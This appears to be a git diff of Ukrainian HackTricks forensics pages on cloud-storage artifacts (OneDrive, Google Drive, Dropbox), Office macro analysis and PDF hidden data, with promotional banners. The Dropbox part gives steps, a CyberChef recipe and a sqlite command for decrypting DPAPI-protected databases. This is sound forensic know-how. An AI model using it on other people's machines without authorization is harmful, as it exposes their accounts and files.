* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
<summary><strong>Навчіться хакінгу AWS з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримати HackTricks:
* Якщо ви хочете, щоб ваша **компанія була рекламована в HackTricks** або **завантажити HackTricks у PDF** перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційні PEASS & HackTricks сувеніри**](https://peass.creator-spring.com)
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надіславши PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
</details>

View file

@ -1,68 +1,69 @@
# Локальне зберігання у хмарі
# Локальне Хмарне Сховище
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) для легкого створення та **автоматизації робочих процесів**, підтримуваних найсучаснішими інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive
У Windows ви можете знайти папку OneDrive за шляхом `\Users\<username>\AppData\Local\Microsoft\OneDrive`. А всередині `logs\Personal` можна знайти файл `SyncDiagnostics.log`, в якому містяться деякі цікаві дані щодо синхронізованих файлів:
У Windows ви можете знайти папку OneDrive за адресою `\Users\<username>\AppData\Local\Microsoft\OneDrive`. А всередині `logs\Personal` можна знайти файл `SyncDiagnostics.log`, який містить цікаві дані щодо синхронізованих файлів:
* Розмір у байтах
* Дата створення
* Дата модифікації
* Кількість файлів у хмарі
* Кількість файлів у папці
* **CID**: Унікальний ідентифікатор користувача OneDrive
* **CID**: Унікальний ID користувача OneDrive
* Час генерації звіту
* Розмір жорсткого диска ОС
Як тільки ви знайдете CID, рекомендується **шукати файли, що містять цей ідентифікатор**. Можливо, ви зможете знайти файли з назвою: _**\<CID>.ini**_ та _**\<CID>.dat**_, які можуть містити цікаву інформацію, наприклад, назви файлів, які синхронізовані з OneDrive.
Після того, як ви знайдете CID, рекомендується **шукати файли, що містять цей ID**. Ви можете знайти файли з іменами: _**\<CID>.ini**_ та _**\<CID>.dat**_, які можуть містити цікаву інформацію, таку як назви файлів, синхронізованих з OneDrive.
## Google Drive
У Windows ви можете знайти основну папку Google Drive за шляхом `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Ця папка містить файл під назвою Sync\_log.log з інформацією, такою як адреса електронної пошти облікового запису, назви файлів, мітки часу, MD5-хеші файлів тощо. Навіть видалені файли з'являються у цьому файлі журналу з відповідними MD5.
У Windows ви можете знайти основну папку Google Drive за адресою `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Ця папка містить файл під назвою Sync\_log.log з інформацією, такою як адреса електронної пошти облікового запису, імена файлів, мітки часу, MD5 хеші файлів тощо. Навіть видалені файли з'являються в цьому файлі журналу з відповідним MD5.
Файл **`Cloud_graph\Cloud_graph.db`** є базою даних sqlite, яка містить таблицю **`cloud_graph_entry`**. У цій таблиці ви можете знайти **назву** **синхронізованих** **файлів**, час модифікації, розмір та контрольну суму MD5 файлів.
Файл **`Cloud_graph\Cloud_graph.db`** є базою даних sqlite, яка містить таблицю **`cloud_graph_entry`**. У цій таблиці ви можете знайти **назви** **синхронізованих** **файлів**, час модифікації, розмір та MD5 контрольну суму файлів.
Дані таблиці бази даних **`Sync_config.db`** містять адресу електронної пошти облікового запису, шляхи до спільних папок та версію Google Drive.
Дані таблиці бази даних **`Sync_config.db`** містять адресу електронної пошти облікового запису, шлях до спільних папок та версію Google Drive.
## Dropbox
Dropbox використовує **бази даних SQLite** для управління файлами. У цьому\
Dropbox використовує **SQLite бази даних** для управління файлами. У цьому\
Ви можете знайти бази даних у папках:
* `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<username>\AppData\Roaming\Dropbox`
І основні бази даних:
А основні бази даних:
* Sigstore.dbx
* Filecache.dbx
* Deleted.dbx
* Config.dbx
Розширення ".dbx" означає, що **бази даних** **зашифровані**. Dropbox використовує **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Розширення ".dbx" означає, що **бази даних** є **зашифрованими**. Dropbox використовує **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Щоб краще зрозуміти шифрування, яке використовує Dropbox, ви можете прочитати [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
@ -73,50 +74,65 @@ Dropbox використовує **бази даних SQLite** для упра
* **Алгоритм**: PBKDF2
* **Ітерації**: 1066
Крім цієї інформації, для розшифрування баз даних вам все ще потрібно:
Окрім цієї інформації, для розшифрування баз даних вам також знадобиться:
* **Зашифрований ключ DPAPI**: Ви можете знайти його в реєстрі всередині `NTUSER.DAT\Software\Dropbox\ks\client` (експортуйте ці дані як бінарні)
* Гілки **`SYSTEM`** та **`SECURITY`**
* Майстер-ключі DPAPI: Які можна знайти в `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Ім'я користувача та пароль Windows
* **Зашифрований ключ DPAPI**: Ви можете знайти його в реєстрі за адресою `NTUSER.DAT\Software\Dropbox\ks\client` (експортуйте ці дані у бінарному вигляді)
* **`SYSTEM`** та **`SECURITY`** хіви
* **Головні ключі DPAPI**: які можна знайти за адресою `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* **Ім'я користувача** та **пароль** користувача Windows
Потім ви можете використовувати інструмент [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
Тоді ви можете використовувати інструмент [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
![](<../../../.gitbook/assets/image (443).png>)
Якщо все пройде як очікувалося, інструмент покаже **основний ключ**, який вам потрібно **використовувати для відновлення оригінального**. Щоб відновити оригінальний, просто використовуйте цей [рецепт cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) вставляючи основний ключ як "пароль" всередині рецепту.
Якщо все піде за планом, інструмент вкаже на **основний ключ**, який вам потрібно **використати для відновлення оригінального**. Щоб відновити оригінал, просто використовуйте цей [рецепт cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)), ставлячи основний ключ як "пароль" у рецепті.
Отриманий шістнадцятковий код - це кінцевий ключ, який використовується для шифрування баз даних, які можна розшифрувати за допомогою:
Отриманий hex є фінальним ключем, використаним для шифрування баз даних, які можна розшифрувати за допомогою:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
**База даних `config.dbx` містить:**
The **`config.dbx`** база даних містить:
- **Електронна пошта**: Електронна адреса користувача
- **usernamedisplayname**: Ім'я користувача
- **dropbox\_path**: Шлях, де знаходиться папка Dropbox
- **Host\_id: Хеш**, використовується для аутентифікації в хмарі. Це можна скасувати лише з веб-версії.
- **Root\_ns**: Ідентифікатор користувача
* **Email**: Електронна пошта користувача
* **usernamedisplayname**: Ім'я користувача
* **dropbox\_path**: Шлях, де знаходиться папка dropbox
* **Host\_id: Hash** використовується для аутентифікації в хмарі. Це можна скасувати лише з вебу.
* **Root\_ns**: Ідентифікатор користувача
**База даних `filecache.db` містить інформацію про всі файли та папки, які синхронізовані з Dropbox. Таблиця `File_journal` містить найбільш корисну інформацію:**
The **`filecache.db`** база даних містить інформацію про всі файли та папки, синхронізовані з Dropbox. Таблиця `File_journal` є тією, що містить більше корисної інформації:
- **Server\_path**: Шлях, де знаходиться файл на сервері (цей шлях передує `host_id` клієнта).
- **local\_sjid**: Версія файлу
- **local\_mtime**: Дата модифікації
- **local\_ctime**: Дата створення
* **Server\_path**: Шлях, де файл знаходиться на сервері (цей шлях передує `host_id` клієнта).
* **local\_sjid**: Версія файлу
* **local\_mtime**: Дата модифікації
* **local\_ctime**: Дата створення
Інші таблиці в цій базі даних містять цікаву інформацію:
Інші таблиці всередині цієї бази даних містять більш цікаву інформацію:
- **block\_cache**: Хеш усіх файлів та папок Dropbox
- **block\_ref**: Пов'язаний ідентифікатор хешу таблиці `block_cache` з ідентифікатором файлу в таблиці `file_journal`
- **mount\_table**: Спільні папки Dropbox
- **deleted\_fields**: Видалені файли Dropbox
- **date\_added**
* **block\_cache**: хеш усіх файлів та папок Dropbox
* **block\_ref**: Пов'язує хеш ID таблиці `block_cache` з ID файлу в таблиці `file_journal`
* **mount\_table**: Спільні папки Dropbox
* **deleted\_fields**: Видалені файли Dropbox
* **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# Аналіз офісних файлів
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Для отримання додаткової інформації перегляньте [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Це лише короткий огляд:
Для отримання додаткової інформації перевірте [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Це лише короткий виклад:
Microsoft створив багато форматів офісних документів, з двома основними типами: **формати OLE** (наприклад, RTF, DOC, XLS, PPT) та **формати Office Open XML (OOXML)** (такі як DOCX, XLSX, PPTX). Ці формати можуть містити макроси, що робить їх цілями для розсилання спаму та шкідливих програм. Файли OOXML структуровані як контейнери zip, що дозволяє їхню інспекцію шляхом розпакування, розкриваючи файл та ієрархію папок та вміст файлів XML.
Microsoft створила багато форматів офісних документів, з яких два основні типи - це **OLE формати** (такі як RTF, DOC, XLS, PPT) та **Office Open XML (OOXML) формати** (такі як DOCX, XLSX, PPTX). Ці формати можуть містити макроси, що робить їх цілями для фішингу та шкідливого ПЗ. Файли OOXML структуровані як zip-контейнери, що дозволяє їх перевірку шляхом розпакування, виявляючи ієрархію файлів і папок та вміст XML-файлів.
Для дослідження структур файлів OOXML наведено команду для розпакування документа та структуру виводу. Документовано техніки приховування даних у цих файлах, що свідчить про постійні інновації у приховуванні даних у завданнях CTF.
Щоб дослідити структури файлів OOXML, наведено команду для розпакування документа та структуру виходу. Техніки приховування даних у цих файлах були задокументовані, що вказує на постійні інновації в приховуванні даних у CTF викликах.
Для аналізу **oletools** та **OfficeDissector** пропонують комплексні набори інструментів для дослідження як OLE, так і OOXML документів. Ці інструменти допомагають в ідентифікації та аналізі вбудованих макросів, які часто служать векторами для доставки шкідливих програм, зазвичай завантажуючи та виконуючи додаткові зловмисні навантаження. Аналіз макросів VBA може бути проведений без Microsoft Office за допомогою Libre Office, що дозволяє відлагодження з точками зупинки та змінними перегляду.
Для аналізу **oletools** та **OfficeDissector** пропонують комплексні набори інструментів для вивчення як OLE, так і OOXML документів. Ці інструменти допомагають у виявленні та аналізі вбудованих макросів, які часто слугують векторами для доставки шкідливого ПЗ, зазвичай завантажуючи та виконуючи додаткові шкідливі вантажі. Аналіз VBA макросів можна проводити без Microsoft Office, використовуючи Libre Office, що дозволяє налагоджувати з точками зупинки та змінними спостереження.
Встановлення та використання **oletools** прості, з наданими командами для встановлення через pip та вилучення макросів з документів. Автоматичне виконання макросів спрацьовує за допомогою функцій, таких як `AutoOpen`, `AutoExec` або `Document_Open`.
Встановлення та використання **oletools** є простими, з командами для встановлення через pip та витягування макросів з документів. Автоматичне виконання макросів викликається такими функціями, як `AutoOpen`, `AutoExec` або `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Аналіз PDF-файлу
# Аналіз PDF файлів
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Для отримання додаткових відомостей перегляньте:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
**Для отримання додаткової інформації перевірте:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Формат PDF відомий своєю складністю та потенціалом для приховування даних, що робить його центральною точкою викликів з форензики CTF. Він поєднує елементи простого тексту з бінарними об'єктами, які можуть бути стиснуті або зашифровані, і може містити скрипти на мовах, таких як JavaScript або Flash. Для розуміння структури PDF можна звертатися до вступного матеріалу Дідьє Стівенса [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), або використовувати інструменти, такі як текстовий редактор або спеціалізований редактор PDF, наприклад Origami.
Формат PDF відомий своєю складністю та потенціалом для приховування даних, що робить його центром уваги для CTF судово-медичних викликів. Він поєднує елементи простого тексту з бінарними об'єктами, які можуть бути стиснуті або зашифровані, і може включати скрипти на мовах, таких як JavaScript або Flash. Щоб зрозуміти структуру PDF, можна звернутися до [вступних матеріалів](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) Дідьє Стефенса або використовувати інструменти, такі як текстовий редактор або редактор, специфічний для PDF, наприклад, Origami.
Для глибокого дослідження або маніпулювання PDF-файлами доступні інструменти, такі як [qpdf](https://github.com/qpdf/qpdf) та [Origami](https://github.com/mobmewireless/origami-pdf). Приховані дані у PDF можуть бути приховані в:
Для глибшого дослідження або маніпуляції з PDF доступні інструменти, такі як [qpdf](https://github.com/qpdf/qpdf) та [Origami](https://github.com/mobmewireless/origami-pdf). Приховані дані в PDF можуть бути заховані в:
* Невидимих шарах
* Форматі метаданих XMP від Adobe
* Інкрементних поколіннях
* Тексті з таким же кольором, як фон
* Тексті за зображеннями або перекриваючими зображеннями
* Невідображених коментарях
* Інкрементальних генераціях
* Тексті того ж кольору, що й фон
* Тексті за зображеннями або накладених зображеннях
* Непоказаних коментарях
